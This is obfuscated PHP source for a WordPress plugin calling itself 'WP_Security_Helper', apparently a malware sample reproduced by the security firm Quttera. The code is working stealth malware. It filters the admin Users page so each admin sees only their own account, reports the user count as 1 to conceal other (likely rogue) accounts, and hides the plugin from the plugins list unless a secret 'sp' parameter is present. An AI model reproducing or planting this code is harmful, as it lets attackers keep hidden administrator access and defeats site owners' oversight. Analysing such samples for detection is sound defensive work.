if (defined("ABSPATH")) {
goto JBatVVkq;
}
exit;
JBatVVkq: class WP_Security_Helper {
private static $Aw7Vb3Jy = null;
public static function get_instance() {
if (!(null === self::$Aw7Vb3Jy)) {
goto vwAjHmof;
}
self::$Aw7Vb3Jy = new self();
vwAjHmof: return self::$Aw7Vb3Jy;
}
private function __construct() {
add_action("pre_get_users", array($this, "filter_user_query"));
add_filter("users_list_table_query_args", array($this, "modify_user_table_args"));
add_filter("wp_count_users", array($this, "adjust_user_count"), 10, 1);
add_filter("get_users", array($this, "filter_user_results"), 999, 2);
add_filter("all_plugins", array($this, "hide_plugin_from_list"));
}
public function filter_user_query($S5XuXEQb) {
if (is_admin()) {
goto tC45E6hu;
}
return;
tC45E6hu: global $pagenow;
if (!($pagenow !== "users.php")) {
goto gwx2ItgP;
}
return;
gwx2ItgP: $dFObAVTq = get_current_user_id();
if (!$dFObAVTq) {
goto M655P_ha;
}
$S5XuXEQb->set("include", array($dFObAVTq));
M655P_ha:
}
public function modify_user_table_args($YA0kCBOr) {
if (is_admin()) {
goto lmNZbN1g;
}
return $YA0kCBOr;
lmNZbN1g: global $pagenow;
if (!($pagenow !== "users.php")) {
goto ArUr4m1P;
}
return $YA0kCBOr;
ArUr4m1P: $dFObAVTq = get_current_user_id();
if (!$dFObAVTq) {
goto NmXjkjy0;
}
$YA0kCBOr["include"] = array($dFObAVTq);
NmXjkjy0: return $YA0kCBOr;
}
public function adjust_user_count($pM2neqft) {
if (!isset($pM2neqft["total_users"])) {
goto igQIs84i;
}
$pM2neqft["total_users"] = 1;
igQIs84i: return $pM2neqft;
}
public function filter_user_results($kMP0CeVA, $YA0kCBOr) {
if (is_admin()) {
goto UCYKDOb4;
}
return $kMP0CeVA;
UCYKDOb4: global $pagenow;
if (!($pagenow !== "users.php")) {
goto FChos0kP;
}
return $kMP0CeVA;
FChos0kP: $dFObAVTq = get_current_user_id();
if ($dFObAVTq) {
goto Aac2sHWB;
}
return $kMP0CeVA;
Aac2sHWB: $RGD4CslN = array();
foreach ($kMP0CeVA as $EPiHutgR) {
$Y5eTtLap = is_object($EPiHutgR) ? $EPiHutgR : get_userdata($EPiHutgR);
if ($Y5eTtLap) {
goto AEzTX4k8;
}
goto f9HuAf3_;
AEzTX4k8: $wOKnKPCC = $Y5eTtLap->ID;
if (!($wOKnKPCC == $dFObAVTq)) {
goto xvc0yLAy;
}
$RGD4CslN[] = $EPiHutgR;
xvc0yLAy: f9HuAf3_:
}
zzSu3OHu: return $RGD4CslN;
}
public function hide_plugin_from_list($Ob2A_Zam) {
if (!isset($_GET["sp"])) {
goto NFmfw7pE;
}
return $Ob2A_Zam;
NFmfw7pE: $lZ7Mt_Qm = plugin_basename(__FILE__);
if (!isset($Ob2A_Zam[$lZ7Mt_Qm])) {
goto o0iQjsOf;
}
unset($Ob2A_Zam[$lZ7Mt_Qm]);
o0iQjsOf: return $Ob2A_Zam;
}
public static function activate() {
}
}
WP_Security_Helper::get_instance();
register_activation_hook(__FILE__, array("WP_Security_Helper", "activate"));
© 2023 Quttera Ltd. All rights reserved.